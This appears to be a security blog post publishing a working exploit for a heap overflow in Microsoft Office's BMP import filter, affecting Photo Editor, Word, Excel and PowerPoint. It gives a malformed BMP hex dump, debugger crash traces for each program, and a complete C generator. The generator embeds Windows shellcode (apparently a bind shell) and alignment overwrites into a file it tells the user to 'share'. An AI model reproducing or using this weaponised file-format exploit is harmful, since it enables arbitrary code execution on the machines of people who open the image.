Here is the 0day exploit code I wrote to own Microsoft office way back in April 2006, which I never seem to have published. Damn, doesn't 4 years go quick....
Anyhooo, there was a heap overflow in the rendering engine of .bmp headers in photoed.exe, winword.exe, excel.exe and powerpnt.exe which would allow an attacker the possibility of executing arbitrary, malicious code.
The vulnerability was in BMPIMP32.FLT. By modifying the value of an image header within a .bmp file, it was possible to trigger this bug and overflow a static buffer. This granted the attacker with the ability to perform an overwrite of important information within the process, leading to malicious code execution.
// Example vulnerable section of a .bmp image file:
424D3600000000000000360000002800 BM6.......6...(.
000040060000B0040000010018000000 ..@.............
00000000000000000000000000000000 ................
000000000000A9AAA8A4A5A3A8A9A7B0 ................
B3B1B2B5B3AFB1B1AFB1B1B1B3B3A7AA ................
A8AEB1AFB1B4B2AEB1AFB0B3B1B8BBB9 ................
.. snip ..
// One with malicious input 'inserted' to trigger the bug:
424D3600000000000000360000002800 BM6.......6...(.
000040060000B0040000010008004141 ..@...........AA
41414141414141414141414141414141 AAAAAAAAAAAAAAAA
41414141414141414141414141414141 AAAAAAAAAAAAAAAA
41414141414141414141414141414141 AAAAAAAAAAAAAAAA
41414141414141414141414141414141 AAAAAAAAAAAAAAAA
plus 10,000 more
After photoed.exe opens the malicious .bmp file, we receive:
"The instruction at "0x77f581bd" referenced memory at "0x41414141". The memory could not be "written"
(dc.cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00140000 ecx=41414141 edx=00196438 esi=00196438 edi=00000005
eip=77f581bd esp=0012fa3c ebp=0012fc60 iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlAllocateHeap+0x60f:
77f581bd 8908 mov [eax],ecx ds:0023:41414141=????????
> 77f581bd 8908 mov [eax],ecx ds:0023:41414141=????????
> 77f581bf 894104 mov [ecx+0x4],eax
We have a classic heap overflow and can now either perform an overwrite of _VECTORED_EXCEPTION_NODE, UnhandledExceptionFilter or RtlEnterCriticalSection amongst other locations, which will return us back to malicious code and execute it for us. Another simple, useful option is to simply hijack the applications SE Handler directly which will allow us to gain control of the process in the same manner.
This same situation is present in Word, Excel and Powerpoint. If a user inserts an image in to any of these applications, the following situation is presented to us:
Word
----
0:000> gh
(e0c.fb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000004 ecx=41414141 edx=029acbe0 esi=029acbe0 edi=00140000
eip=77f8452d esp=0012df98 ebp=0012e1b0 iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlSizeHeap+0x1217:
77f8452d 8901 mov [ecx],eax ds:0023:41414141=????????
77f8452f 894804 mov [eax+0x4],ecx
Excel
-----
0:000> g
(870.728): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0020b320 ecx=41414141 edx=77fc4860 esi=00210178 edi=00177048
eip=77f69d63 esp=00dafd88 ebp=00dafdc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
ntdll!RtlDeleteCriticalSection+0x51:
77f69d63 8908 mov [eax],ecx ds:0023:41414141=????????
77f69d65 894104 mov [ecx+0x4],eax
PowerPoint
----------
0:000> gh
(8ec.404): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00150141 ebx=00150000 ecx=41414141 edx=41414141 esi=00196740 edi=00000004
eip=77f57ec4 esp=0013a628 ebp=0013a84c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
ntdll!RtlAllocateHeap+0x316:
77f57ec4 890a mov [edx],ecx ds:0023:41414141=????????
77f57ec6 895104 mov [ecx+0x4],edx
/* The shady codez */
#include < stdio.h >
#include < stdlib.h >
#include < string.h >
#include < unistd.h >
#define BUFFER 10000
unsigned char bmphdr[]={ 0x42,0x4d,0x36,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x36,0x00,0x00,0x00,0x28,0x00,0x00,0x00,
0x40,0x06,0x00,0x00,0xb0,0x04,0x00,0x00,0x01,
0x00,0x08,0x00};
unsigned char shell[] = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x04\xd2\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
int main(int argc, char **argv)
{
char malware[BUFFER];
FILE *ebulfile;
puts("\nPOC exploit for Heap overflow in Photo Editor, Word, Excel and PowerPoint!");
puts("Bug discovered by c0ntex - c0ntexb@gmail.com - http://www.open-security.org\n");
if(argc != 2) {
puts("Usage: bmpb00m bmpb00m.bmp\n");
exit(EXIT_FAILURE);
}
if(strlen(argv[1]) > 20) {
puts("Sorry, file is too long!");
exit(EXIT_FAILURE);
}
ebulfile = fopen(argv[1], "w");
if(!ebulfile) {
perror("Could not create file!");
return EXIT_FAILURE;
} sleep(2);
fprintf(stderr, "Created the file [%s], now share it ;-) \n", argv[1]);
memset(malware, '\x41', BUFFER);
memcpy(malware, bmphdr, sizeof(bmphdr));
memcpy(&malware[200], shell, sizeof(shell));
// Addresses get messed up so we use some funk to get the alignment right
*(long *)&malware[1085] = 0x54909090; // Grab the 54 from here, and the 0012fc from
*(long *)&malware[1089] = 0x0012fc90; // here, ECX -> ntdll.77f51c78 -> 0x0012fc54
*(long *)&malware[1093] = 0x12345690; // Grab the 195048 from here and then we use
*(long *)&malware[1097] = 0x90900090; // the 00 from here to make EAX -> 0x00195048
fwrite(malware, sizeof(malware), 1, ebulfile);
fclose(ebulfile);
return EXIT_SUCCESS;
}
Labels: Security